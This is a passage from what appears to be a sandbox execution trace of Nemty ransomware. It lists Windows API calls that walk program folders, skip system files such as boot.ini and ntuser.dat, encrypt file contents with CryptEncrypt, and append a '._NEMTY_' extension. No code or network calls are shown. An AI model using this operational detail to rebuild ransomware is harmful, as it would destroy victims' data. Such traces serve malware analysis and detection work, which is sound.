0xffffffff [0061.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0061.218] CloseHandle (hObject=0xffffffff) returned 0 [0061.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0061.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0061.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0061.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0061.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0061.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0061.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.218] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0061.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0061.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.219] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0061.219] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0061.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0061.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0061.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94338 [0061.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0061.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0061.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0061.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0061.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0061.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0061.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0061.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0061.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0061.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0061.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0061.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0061.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94338 [0061.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0061.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0061.220] Sleep (dwMilliseconds=0x5) [0061.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8243990, dwHighDateTime=0x1d561e7)) [0061.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd8243990, dwHighDateTime=0x1d561e7)) [0061.228] GetLastError () returned 0x5 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0061.228] GetLastError () returned 0x5 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0061.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0061.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0061.228] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0061.228] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0061.228] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="FfIFgL8mo/Ldx9Qy7gMj12cA0mmdWgVCu2ASYPf5qNtzpsvxOyWAaPJUBLPZF1QP\r\n/A7+kSiSBW60V1Kgrr/2YcDoQQALD4BTObDYBurlAOd5Bf0rcDz1jfwnrMHpjg+D\r\n8pL8lYF7YGWnB2TrlsUsGNDOPhEtrjawvJAdc9nao7Y+lavCtjOfotrdSi6EKqaB\r\nEfCyTf4K7tcRkDm/9yDgUl6RjUUNd4ffsGQKwvIz/caIDqhheNiJfIz8VVf9XqE7\r\nfmeRP96KLrGEdrnTLZJBvNZoD59rrK4QiRnjbAE69YZnW9/KQ5wjb2LEZj3vUqEr\r\ngNhCuoCHco97lQBKmp0Zrg==\r\n", pcchString=0x653e91c) returned 1 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0061.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0061.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0061.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0061.229] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.229] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0061.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0061.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.239] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.239] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0061.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0061.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0061.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, 